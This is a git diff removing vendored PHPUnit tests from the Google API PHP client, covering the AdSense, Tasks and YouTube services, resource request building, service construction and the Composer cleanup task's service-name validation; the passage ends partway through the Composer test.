deleted file mode 100644 index 4e8a27b440..0000000000 --- a/vendor/google/apiclient/tests/Google/Service/AdSenseTest.php +++ /dev/null @@ -1,493 +0,0 @@ -markTestSkipped('Thesse tests need to be fixed'); - $this->checkToken(); - $this->adsense = new AdSense($this->getClient()); - } - - public function testAccountsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - $this->assertArrayHasKey('kind', $accounts); - $this->assertEquals($accounts['kind'], 'adsense#accounts'); - $account = $this->getRandomElementFromArray($accounts['items']); - $this->checkAccountElement($account); - } - - /** - * @depends testAccountsList - */ - public function testAccountsGet() - { - $accounts = $this->adsense->accounts->listAccounts(); - $account = $this->getRandomElementFromArray($accounts['items']); - $retrievedAccount = $this->adsense->accounts->get($account['id']); - $this->checkAccountElement($retrievedAccount); - } - - /** - * @depends testAccountsList - */ - public function testAccountsReportGenerate() - { - $startDate = '2011-01-01'; - $endDate = '2011-01-31'; - $optParams = $this->getReportOptParams(); - $accounts = $this->adsense->accounts->listAccounts(); - $accountId = $accounts['items'][0]['id']; - $report = $this->adsense->accounts_reports->generate( - $accountId, - $startDate, - $endDate, - $optParams - ); - $this->checkReport($report); - } - - /** - * @depends testAccountsList - */ - public function testAccountsAdClientsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - $account = $this->getRandomElementFromArray($accounts['items']); - $adClients = - $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - $this->checkAdClientsCollection($adClients); - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - */ - public function testAccountsAdUnitsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $adUnits = $this->adsense->accounts_adunits->listAccountsAdunits( - $account['id'], - $adClient['id'] - ); - $this->checkAdUnitsCollection($adUnits); - break 2; - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - */ - public function testAccountsAdUnitsGet() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $adUnits = $this->adsense->accounts_adunits->listAccountsAdunits( - $account['id'], - $adClient['id'] - ); - if (array_key_exists('items', $adUnits)) { - $adUnit = $this->getRandomElementFromArray($adUnits['items']); - $this->checkAdUnitElement($adUnit); - break 2; - } - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - */ - public function testAccountsCustomChannelsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $customChannels = $this->adsense->accounts_customchannels - ->listAccountsCustomchannels($account['id'], $adClient['id']); - $this->checkCustomChannelsCollection($customChannels); - break 2; - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - */ - public function testAccountsCustomChannelsGet() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $customChannels = - $this->adsense->accounts_customchannels->listAccountsCustomchannels( - $account['id'], - $adClient['id'] - ); - if (array_key_exists('items', $customChannels)) { - $customChannel = - $this->getRandomElementFromArray($customChannels['items']); - $this->checkCustomChannelElement($customChannel); - break 2; - } - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - */ - public function testAccountsUrlChannelsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $urlChannels = - $this->adsense->accounts_urlchannels->listAccountsUrlchannels( - $account['id'], - $adClient['id'] - ); - $this->checkUrlChannelsCollection($urlChannels); - break 2; - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - * @depends testAccountsAdUnitsList - */ - public function testAccountsAdUnitsCustomChannelsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $adUnits = - $this->adsense->accounts_adunits->listAccountsAdunits($account['id'], $adClient['id']); - if (array_key_exists('items', $adUnits)) { - foreach ($adUnits['items'] as $adUnit) { - $customChannels = - $this->adsense->accounts_adunits_customchannels->listAccountsAdunitsCustomchannels( - $account['id'], - $adClient['id'], - $adUnit['id'] - ); - $this->checkCustomChannelsCollection($customChannels); - // it's too expensive to go through each, if one is correct good - break 3; - } - } - } - } - } - - /** - * @depends testAccountsList - * @depends testAccountsAdClientsList - * @depends testAccountsCustomChannelsList - */ - public function testAccountsCustomChannelsAdUnitsList() - { - $accounts = $this->adsense->accounts->listAccounts(); - foreach ($accounts['items'] as $account) { - $adClients = - $this->adsense->accounts_adclients->listAccountsAdclients($account['id']); - foreach ($adClients['items'] as $adClient) { - $customChannels = - $this->adsense->accounts_customchannels->listAccountsCustomchannels( - $account['id'], - $adClient['id'] - ); - if (array_key_exists('items', $customChannels)) { - foreach ($customChannels['items'] as $customChannel) { - $adUnits = - $this->adsense->accounts_customchannels_adunits->listAccountsCustomchannelsAdunits( - $account['id'], - $adClient['id'], - $customChannel['id'] - ); - $this->checkAdUnitsCollection($adUnits); - // it's too expensive to go through each, if one is correct good - break 3; - } - } - } - } - } - - public function testAdClientsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - $this->checkAdClientsCollection($adClients); - } - - /** - * @depends testAdClientsList - */ - public function testAdUnitsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $adUnits = $this->adsense->adunits->listAdunits($adClient['id']); - $this->checkAdUnitsCollection($adUnits); - } - } - - /** - * @depends testAdClientsList - */ - public function testAdUnitsGet() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $adUnits = $this->adsense->adunits->listAdunits($adClient['id']); - if (array_key_exists('items', $adUnits)) { - $adUnit = $this->getRandomElementFromArray($adUnits['items']); - $this->checkAdUnitElement($adUnit); - break 1; - } - } - } - - /** - * @depends testAdClientsList - * @depends testAdUnitsList - */ - public function testAdUnitsCustomChannelsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $adUnits = $this->adsense->adunits->listAdunits($adClient['id']); - if (array_key_exists('items', $adUnits)) { - foreach ($adUnits['items'] as $adUnit) { - $customChannels = - $this->adsense->adunits_customchannels->listAdunitsCustomchannels( - $adClient['id'], - $adUnit['id'] - ); - $this->checkCustomChannelsCollection($customChannels); - break 2; - } - } - } - } - - /** - * @depends testAdClientsList - */ - public function testCustomChannelsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $customChannels = - $this->adsense->customchannels->listCustomchannels($adClient['id']); - $this->checkCustomChannelsCollection($customChannels); - } - } - - /** - * @depends testAdClientsList - */ - public function testCustomChannelsGet() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $customChannels = $this->adsense->customchannels->listCustomchannels($adClient['id']); - if (array_key_exists('items', $customChannels)) { - $customChannel = $this->getRandomElementFromArray($customChannels['items']); - $this->checkCustomChannelElement($customChannel); - break 1; - } - } - } - - /** - * @depends testAdClientsList - * @depends testCustomChannelsList - */ - public function testCustomChannelsAdUnitsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $customChannels = $this->adsense->customchannels->listCustomchannels($adClient['id']); - if (array_key_exists('items', $customChannels)) { - foreach ($customChannels['items'] as $customChannel) { - $adUnits = - $this->adsense->customchannels_adunits->listCustomchannelsAdunits( - $adClient['id'], - $customChannel['id'] - ); - $this->checkAdUnitsCollection($adUnits); - break 2; - } - } - } - } - - /** - * @depends testAdClientsList - */ - public function testUrlChannelsList() - { - $adClients = $this->adsense->adclients->listAdclients(); - foreach ($adClients['items'] as $adClient) { - $urlChannels = $this->adsense->urlchannels->listUrlchannels($adClient['id']); - $this->checkUrlChannelsCollection($urlChannels); - } - } - - public function testReportsGenerate() - { - if (!$this->checkToken()) { - return; - } - $startDate = '2011-01-01'; - $endDate = '2011-01-31'; - $optParams = $this->getReportOptParams(); - $report = $this->adsense->reports->generate($startDate, $endDate, $optParams); - $this->checkReport($report); - } - - private function checkAccountElement($account) - { - $this->assertArrayHasKey('kind', $account); - $this->assertArrayHasKey('id', $account); - $this->assertArrayHasKey('name', $account); - } - - private function checkAdClientsCollection($adClients) - { - $this->assertArrayHasKey('kind', $adClients); - $this->assertEquals($adClients['kind'], 'adsense#adClients'); - foreach ($adClients['items'] as $adClient) { - $this->assertArrayHasKey('id', $adClient); - $this->assertArrayHasKey('kind', $adClient); - $this->assertArrayHasKey('productCode', $adClient); - $this->assertArrayHasKey('supportsReporting', $adClient); - } - } - - private function checkAdUnitsCollection($adUnits) - { - $this->assertArrayHasKey('kind', $adUnits); - $this->assertEquals($adUnits['kind'], 'adsense#adUnits'); - if (array_key_exists('items', $adUnits)) { - foreach ($adUnits['items'] as $adUnit) { - $this->checkAdUnitElement($adUnit); - } - } - } - - private function checkAdUnitElement($adUnit) - { - $this->assertArrayHasKey('code', $adUnit); - $this->assertArrayHasKey('id', $adUnit); - $this->assertArrayHasKey('kind', $adUnit); - $this->assertArrayHasKey('name', $adUnit); - $this->assertArrayHasKey('status', $adUnit); - } - - private function checkCustomChannelsCollection($customChannels) - { - $this->assertArrayHasKey('kind', $customChannels); - $this->assertEquals($customChannels['kind'], 'adsense#customChannels'); - if (array_key_exists('items', $customChannels)) { - foreach ($customChannels['items'] as $customChannel) { - $this->checkCustomChannelElement($customChannel); - } - } - } - - private function checkCustomChannelElement($customChannel) - { - $this->assertArrayHasKey('kind', $customChannel); - $this->assertArrayHasKey('id', $customChannel); - $this->assertArrayHasKey('code', $customChannel); - $this->assertArrayHasKey('name', $customChannel); - } - - private function checkUrlChannelsCollection($urlChannels) - { - $this->assertArrayHasKey('kind', $urlChannels); - $this->assertEquals($urlChannels['kind'], 'adsense#urlChannels'); - if (array_key_exists('items', $urlChannels)) { - foreach ($urlChannels['items'] as $urlChannel) { - $this->assertArrayHasKey('kind', $urlChannel); - $this->assertArrayHasKey('id', $urlChannel); - $this->assertArrayHasKey('urlPattern', $urlChannel); - } - } - } - - private function getReportOptParams() - { - return array( - 'metric' => array('PAGE_VIEWS', 'AD_REQUESTS'), - 'dimension' => array ('DATE', 'AD_CLIENT_ID'), - 'sort' => array('DATE'), - 'filter' => array('COUNTRY_NAME==United States'), - ); - } - - private function checkReport($report) - { - $this->assertArrayHasKey('kind', $report); - $this->assertEquals($report['kind'], 'adsense#report'); - $this->assertArrayHasKey('totalMatchedRows', $report); - $this->assertGreaterThan(0, count($report->headers)); - foreach ($report['headers'] as $header) { - $this->assertArrayHasKey('name', $header); - $this->assertArrayHasKey('type', $header); - } - if (array_key_exists('items', $report)) { - foreach ($report['items'] as $row) { - $this->assertCount(4, $row); - } - } - $this->assertArrayHasKey('totals', $report); - $this->assertArrayHasKey('averages', $report); - } - - private function getRandomElementFromArray($array) - { - $elementKey = array_rand($array); - return $array[$elementKey]; - } -} diff --git a/vendor/google/apiclient/tests/Google/Service/ResourceTest.php b/vendor/google/apiclient/tests/Google/Service/ResourceTest.php deleted file mode 100644 index bf9b80531e..0000000000 --- a/vendor/google/apiclient/tests/Google/Service/ResourceTest.php +++ /dev/null @@ -1,473 +0,0 @@ -rootUrl = "https://test.example.com"; - $this->servicePath = ""; - $this->version = "v1beta1"; - $this->serviceName = "test"; - } -} - -class ResourceTest extends BaseTest -{ - private $client; - private $service; - - public function set_up() - { - $this->client = $this->prophesize(Client::class); - - $logger = $this->prophesize("Monolog\Logger"); - - $this->client->getLogger()->willReturn($logger->reveal()); - $this->client->shouldDefer()->willReturn(true); - $this->client->getHttpClient()->willReturn(new GuzzleClient()); - - $this->service = new TestService($this->client->reveal()); - } - - public function testCallFailure() - { - $this->expectException(GoogleException::class); - $this->expectExceptionMessage('Unknown function: test->testResource->someothermethod()'); - $resource = new GoogleResource( - $this->service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - $resource->call("someothermethod", array()); - } - - public function testCall() - { - $resource = new GoogleResource( - $this->service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - $request = $resource->call("testMethod", array(array())); - $this->assertEquals("https://test.example.com/method/path", (string) $request->getUri()); - $this->assertEquals("POST", $request->getMethod()); - } - - public function testCallServiceDefinedRoot() - { - $this->service->rootUrl = "https://sample.example.com"; - $resource = new GoogleResource( - $this->service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - $request = $resource->call("testMethod", array(array())); - $this->assertEquals("https://sample.example.com/method/path", (string) $request->getUri()); - $this->assertEquals("POST", $request->getMethod()); - } - - /** - * Some Google Service (Google\Service\Directory\Resource\Channels and - * Google\Service\Reports\Resource\Channels) use a different servicePath value - * that should override the default servicePath value, it's represented by a / - * before the resource path. All other Services have no / before the path - */ - public function testCreateRequestUriForASelfDefinedServicePath() - { - $this->service->servicePath = '/admin/directory/v1/'; - $resource = new GoogleResource( - $this->service, - 'test', - 'testResource', - array("methods" => - array( - 'testMethod' => array( - 'parameters' => array(), - 'path' => '/admin/directory_v1/watch/stop', - 'httpMethod' => 'POST', - ) - ) - ) - ); - $request = $resource->call('testMethod', array(array())); - $this->assertEquals('https://test.example.com/admin/directory_v1/watch/stop', (string) $request->getUri()); - } - - public function testCreateRequestUri() - { - $restPath = "plus/{u}"; - $service = new GoogleService($this->client->reveal()); - $service->servicePath = "http://localhost/"; - $resource = new GoogleResource($service, 'test', 'testResource', array()); - - // Test Path - $params = array(); - $params['u']['type'] = 'string'; - $params['u']['location'] = 'path'; - $params['u']['value'] = 'me'; - $value = $resource->createRequestUri($restPath, $params); - $this->assertEquals("http://localhost/plus/me", $value); - - // Test Query - $params = array(); - $params['u']['type'] = 'string'; - $params['u']['location'] = 'query'; - $params['u']['value'] = 'me'; - $value = $resource->createRequestUri('plus', $params); - $this->assertEquals("http://localhost/plus?u=me", $value); - - // Test Booleans - $params = array(); - $params['u']['type'] = 'boolean'; - $params['u']['location'] = 'path'; - $params['u']['value'] = '1'; - $value = $resource->createRequestUri($restPath, $params); - $this->assertEquals("http://localhost/plus/true", $value); - - $params['u']['location'] = 'query'; - $value = $resource->createRequestUri('plus', $params); - $this->assertEquals("http://localhost/plus?u=true", $value); - - // Test encoding - $params = array(); - $params['u']['type'] = 'string'; - $params['u']['location'] = 'query'; - $params['u']['value'] = '@me/'; - $value = $resource->createRequestUri('plus', $params); - $this->assertEquals("http://localhost/plus?u=%40me%2F", $value); - } - - public function testNoExpectedClassForAltMediaWithHttpSuccess() - { - // set the "alt" parameter to "media" - $arguments = [['alt' => 'media']]; - $request = new Request('GET', '/?alt=media'); - - $http = $this->prophesize("GuzzleHttp\Client"); - - if ($this->isGuzzle5()) { - $body = Guzzle5Stream::factory('thisisnotvalidjson'); - $response = new Guzzle5Response(200, [], $body); - - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn(new \GuzzleHttp\Message\Request('GET', '/?alt=media')); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } else { - $body = Psr7\Utils::streamFor('thisisnotvalidjson'); - $response = new Response(200, [], $body); - - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } - - $client = new Client(); - $client->setHttpClient($http->reveal()); - $service = new TestService($client); - - // set up mock objects - $resource = new GoogleResource( - $service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - - $expectedClass = 'ThisShouldBeIgnored'; - $response = $resource->call('testMethod', $arguments, $expectedClass); - $this->assertInstanceOf('Psr\Http\Message\ResponseInterface', $response); - $this->assertEquals('thisisnotvalidjson', (string) $response->getBody()); - } - - public function testNoExpectedClassForAltMediaWithHttpFail() - { - // set the "alt" parameter to "media" - $arguments = [['alt' => 'media']]; - $request = new Request('GET', '/?alt=media'); - - $http = $this->prophesize("GuzzleHttp\Client"); - - if ($this->isGuzzle5()) { - $body = Guzzle5Stream::factory('thisisnotvalidjson'); - $response = new Guzzle5Response(400, [], $body); - - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn(new \GuzzleHttp\Message\Request('GET', '/?alt=media')); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } else { - $body = Psr7\Utils::streamFor('thisisnotvalidjson'); - $response = new Response(400, [], $body); - - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } - - $client = new Client(); - $client->setHttpClient($http->reveal()); - $service = new TestService($client); - - // set up mock objects - $resource = new GoogleResource( - $service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - - try { - $expectedClass = 'ThisShouldBeIgnored'; - $decoded = $resource->call('testMethod', $arguments, $expectedClass); - $this->fail('should have thrown exception'); - } catch (ServiceException $e) { - // Alt Media on error should return a safe error - $this->assertEquals('thisisnotvalidjson', $e->getMessage()); - } - } - - public function testErrorResponseWithVeryLongBody() - { - // set the "alt" parameter to "media" - $arguments = [['alt' => 'media']]; - $request = new Request('GET', '/?alt=media'); - - $http = $this->prophesize("GuzzleHttp\Client"); - - if ($this->isGuzzle5()) { - $body = Guzzle5Stream::factory('this will be pulled into memory'); - $response = new Guzzle5Response(400, [], $body); - - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn(new \GuzzleHttp\Message\Request('GET', '/?alt=media')); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } else { - $body = Psr7\Utils::streamFor('this will be pulled into memory'); - $response = new Response(400, [], $body); - - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } - - $client = new Client(); - $client->setHttpClient($http->reveal()); - $service = new TestService($client); - - // set up mock objects - $resource = new GoogleResource( - $service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - - try { - $expectedClass = 'ThisShouldBeIgnored'; - $decoded = $resource->call('testMethod', $arguments, $expectedClass); - $this->fail('should have thrown exception'); - } catch (ServiceException $e) { - // empty message - alt=media means no message - $this->assertEquals('this will be pulled into memory', $e->getMessage()); - } - } - - public function testSuccessResponseWithVeryLongBody() - { - $this->onlyGuzzle6Or7(); - - // set the "alt" parameter to "media" - $arguments = [['alt' => 'media']]; - $stream = $this->prophesize(Stream::class); - $stream->__toString() - ->shouldNotBeCalled(); - $response = new Response(200, [], $stream->reveal()); - - $http = $this->prophesize("GuzzleHttp\Client"); - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response); - - $client = new Client(); - $client->setHttpClient($http->reveal()); - $service = new TestService($client); - - // set up mock objects - $resource = new GoogleResource( - $service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - - $expectedClass = 'ThisShouldBeIgnored'; - $response = $resource->call('testMethod', $arguments, $expectedClass); - - $this->assertEquals(200, $response->getStatusCode()); - // $this->assertFalse($stream->toStringCalled); - } - - public function testExceptionMessage() - { - // set the "alt" parameter to "media" - $request = new Request('GET', '/'); - $errors = [ ["domain" => "foo"] ]; - $content = json_encode([ - 'error' => [ - 'errors' => $errors - ] - ]); - - $http = $this->prophesize("GuzzleHttp\Client"); - - if ($this->isGuzzle5()) { - $body = Guzzle5Stream::factory($content); - $response = new Guzzle5Response(400, [], $body); - - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn(new \GuzzleHttp\Message\Request('GET', '/?alt=media')); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } else { - $body = Psr7\Utils::streamFor($content); - $response = new Response(400, [], $body); - - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response); - } - - $client = new Client(); - $client->setHttpClient($http->reveal()); - $service = new TestService($client); - - // set up mock objects - $resource = new GoogleResource( - $service, - "test", - "testResource", - array("methods" => - array( - "testMethod" => array( - "parameters" => array(), - "path" => "method/path", - "httpMethod" => "POST", - ) - ) - ) - ); - - try { - - $decoded = $resource->call('testMethod', array(array())); - $this->fail('should have thrown exception'); - } catch (ServiceException $e) { - $this->assertEquals($errors, $e->getErrors()); - } - } -} diff --git a/vendor/google/apiclient/tests/Google/Service/TasksTest.php b/vendor/google/apiclient/tests/Google/Service/TasksTest.php deleted file mode 100644 index d2f54b9fe1..0000000000 --- a/vendor/google/apiclient/tests/Google/Service/TasksTest.php +++ /dev/null @@ -1,95 +0,0 @@ -checkToken(); - $this->taskService = new Tasks($this->getClient()); - } - - public function testInsertTask() - { - $list = $this->createTaskList('List: ' . __METHOD__); - $task = $this->createTask('Task: '.__METHOD__, $list->id); - $this->assertIsTask($task); - } - - /** - * @depends testInsertTask - */ - public function testGetTask() - { - $tasks = $this->taskService->tasks; - $list = $this->createTaskList('List: ' . __METHOD__); - $task = $this->createTask('Task: '. __METHOD__, $list['id']); - - $task = $tasks->get($list['id'], $task['id']); - $this->assertIsTask($task); - } - - /** - * @depends testInsertTask - */ - public function testListTask() - { - $tasks = $this->taskService->tasks; - $list = $this->createTaskList('List: ' . __METHOD__); - - for ($i=0; $i<4; $i++) { - $this->createTask("Task: $i ".__METHOD__, $list['id']); - } - - $tasksArray = $tasks->listTasks($list['id']); - $this->assertGreaterThan(1, count($tasksArray)); - foreach ($tasksArray['items'] as $task) { - $this->assertIsTask($task); - } - } - - private function createTaskList($name) - { - $list = new Tasks\TaskList(); - $list->title = $name; - return $this->taskService->tasklists->insert($list); - } - - private function createTask($title, $listId) - { - $tasks = $this->taskService->tasks; - $task = new Tasks\Task(); - $task->title = $title; - return $tasks->insert($listId, $task); - } - - private function assertIsTask($task) - { - $this->assertArrayHasKey('title', $task); - $this->assertArrayHasKey('kind', $task); - $this->assertArrayHasKey('id', $task); - $this->assertArrayHasKey('position', $task); - } -} diff --git a/vendor/google/apiclient/tests/Google/Service/YouTubeTest.php b/vendor/google/apiclient/tests/Google/Service/YouTubeTest.php deleted file mode 100644 index 01d1758ab9..0000000000 --- a/vendor/google/apiclient/tests/Google/Service/YouTubeTest.php +++ /dev/null @@ -1,83 +0,0 @@ -checkToken(); - $this->youtube = new YouTube($this->getClient()); - } - - public function testMissingFieldsAreNull() - { - $parts = "id,brandingSettings"; - $opts = array("mine" => true); - $channels = $this->youtube->channels->listChannels($parts, $opts); - - $newChannel = new YouTube\Channel(); - $newChannel->setId( $channels[0]->getId()); - $newChannel->setBrandingSettings($channels[0]->getBrandingSettings()); - - $simpleOriginal = $channels[0]->toSimpleObject(); - $simpleNew = $newChannel->toSimpleObject(); - - $this->assertObjectHasAttribute('etag', $simpleOriginal); - $this->assertObjectNotHasAttribute('etag', $simpleNew); - - $owner_details = new YouTube\ChannelContentOwnerDetails(); - $owner_details->setTimeLinked("123456789"); - $o_channel = new YouTube\Channel(); - $o_channel->setContentOwnerDetails($owner_details); - $simpleManual = $o_channel->toSimpleObject(); - $this->assertObjectHasAttribute('timeLinked', $simpleManual->contentOwnerDetails); - $this->assertObjectNotHasAttribute('contentOwner', $simpleManual->contentOwnerDetails); - - $owner_details = new YouTube\ChannelContentOwnerDetails(); - $owner_details->timeLinked = "123456789"; - $o_channel = new YouTube\Channel(); - $o_channel->setContentOwnerDetails($owner_details); - $simpleManual = $o_channel->toSimpleObject(); - - $this->assertObjectHasAttribute('timeLinked', $simpleManual->contentOwnerDetails); - $this->assertObjectNotHasAttribute('contentOwner', $simpleManual->contentOwnerDetails); - - $owner_details = new YouTube\ChannelContentOwnerDetails(); - $owner_details['timeLinked'] = "123456789"; - $o_channel = new YouTube\Channel(); - $o_channel->setContentOwnerDetails($owner_details); - $simpleManual = $o_channel->toSimpleObject(); - - $this->assertObjectHasAttribute('timeLinked', $simpleManual->contentOwnerDetails); - $this->assertObjectNotHasAttribute('contentOwner', $simpleManual->contentOwnerDetails); - - $ping = new YouTube\ChannelConversionPing(); - $ping->setContext("hello"); - $pings = new YouTube\ChannelConversionPings(); - $pings->setPings(array($ping)); - $simplePings = $pings->toSimpleObject(); - $this->assertObjectHasAttribute('context', $simplePings->pings[0]); - $this->assertObjectNotHasAttribute('conversionUrl', $simplePings->pings[0]); - } -} diff --git a/vendor/google/apiclient/tests/Google/ServiceTest.php b/vendor/google/apiclient/tests/Google/ServiceTest.php deleted file mode 100644 index 68b26be0ab..0000000000 --- a/vendor/google/apiclient/tests/Google/ServiceTest.php +++ /dev/null @@ -1,186 +0,0 @@ -prophesize(ResponseInterface::class); - $client = $this->prophesize(Client::class); - - $client->execute( - Argument::allOf( - Argument::type(RequestInterface::class), - Argument::that( - function ($request) { - $this->assertEquals('/batch/test', $request->getRequestTarget()); - return $request; - } - ) - ), - Argument::any() - )->willReturn($response->reveal()); - - $client->getConfig('base_path')->willReturn(''); - - $model = new TestService($client->reveal()); - $batch = $model->createBatch(); - $this->assertInstanceOf(Batch::class, $batch); - $batch->execute(); - } - - public function testModel() - { - $model = new TestModel(); - - $model->mapTypes( - array( - 'name' => 'asdf', - 'gender' => 'z', - ) - ); - $this->assertEquals('asdf', $model->name); - $this->assertEquals('z', $model->gender); - $model->mapTypes( - array( - '__infoType' => 'Google_Model', - '__infoDataType' => 'map', - 'info' => array ( - 'location' => 'mars', - 'timezone' => 'mst', - ), - 'name' => 'asdf', - 'gender' => 'z', - ) - ); - $this->assertEquals('asdf', $model->name); - $this->assertEquals('z', $model->gender); - - $this->assertFalse($model->isAssociativeArray("")); - $this->assertFalse($model->isAssociativeArray(false)); - $this->assertFalse($model->isAssociativeArray(null)); - $this->assertFalse($model->isAssociativeArray(array())); - $this->assertFalse($model->isAssociativeArray(array(1, 2))); - $this->assertFalse($model->isAssociativeArray(array(1 => 2))); - - $this->assertTrue($model->isAssociativeArray(array('test' => 'a'))); - $this->assertTrue($model->isAssociativeArray(array("a", "b" => 2))); - } - - public function testConfigConstructor() - { - $clientId = 'test-client-id'; - $service = new TestService(['client_id' => $clientId]); - $this->assertEquals($clientId, $service->getClient()->getClientId()); - } - - public function testNoConstructor() - { - $service = new TestService(); - $this->assertInstanceOf(Client::class, $service->getClient()); - } - - public function testInvalidConstructorPhp7Plus() - { - if (!class_exists('TypeError')) { - $this->markTestSkipped('PHP 7+ only'); - } - - try { - $service = new TestService('foo'); - } catch (\TypeError $e) { - - } - - $this->assertInstanceOf('TypeError', $e); - $this->assertEquals( - 'constructor must be array or instance of Google\Client', - $e->getMessage() - ); - } - - /** @runInSeparateProcess */ - public function testInvalidConstructorPhp5() - { - if (class_exists('TypeError')) { - $this->markTestSkipped('PHP 5 only'); - } - - set_error_handler('Google\Tests\ServiceTest::handlePhp5Error'); - - $service = new TestService('foo'); - - $this->assertEquals( - 'constructor must be array or instance of Google\Client', - self::$errorMessage - ); - } - - public static function handlePhp5Error($errno, $errstr, $errfile, $errline) - { - self::assertEquals(E_USER_ERROR, $errno); - self::$errorMessage = $errstr; - return true; - } -} diff --git a/vendor/google/apiclient/tests/Google/Task/ComposerTest.php b/vendor/google/apiclient/tests/Google/Task/ComposerTest.php deleted file mode 100644 index 8af2e19a31..0000000000 --- a/vendor/google/apiclient/tests/Google/Task/ComposerTest.php +++ /dev/null @@ -1,268 +0,0 @@ - [ - [ - 'type' => 'path', - 'url' => __DIR__ . '/../../..', - 'options' => [ - 'symlink' => false - ] - ] - ], - 'require' => [ - 'google/apiclient' => '*' - ], - 'scripts' => [ - 'pre-autoload-dump' => 'Google\Task\Composer::cleanup' - ], - 'minimum-stability' => 'dev', - ]; - - public function testInvalidServiceName() - { - $this->expectException(InvalidArgumentException::class); - $this->expectExceptionMessage('Google service "Foo" does not exist'); - - Composer::cleanup($this->createMockEvent(['Foo'])); - } - - public function testRelatePathServiceName() - { - $this->expectException(InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid Google service name "../YouTube"'); - - Composer::cleanup($this->createMockEvent(['../YouTube'])); - } - - public function testEmptyServiceName() - { - $this->expectException(InvalidArgumentException::class); - $this->expectExceptionMessage('Google service "" does not exist'); - - Composer::cleanup($this->createMockEvent([''])); - } - - public function testWildcardServiceName() - { - $this->expectException(InvalidArgumentException::class); - $this->expectExceptionMessage('Invalid Google service name "YouTube*"'); - - Composer::cleanup($this->createMockEvent(['YouTube*'])); - } - - public function testRemoveServices() - { - $vendorDir = sys_get_temp_dir() . '/rand-' . rand(); - $serviceDir = sprintf( - '%s/google/apiclient-services/src/', - $vendorDir - ); - $dirs = [ - 'ServiceToKeep', - 'ServiceToDelete1', - 'ServiceToDelete2', - ]; - $files = [ - 'ServiceToKeep/ServiceFoo.php', - 'ServiceToKeep.php', - 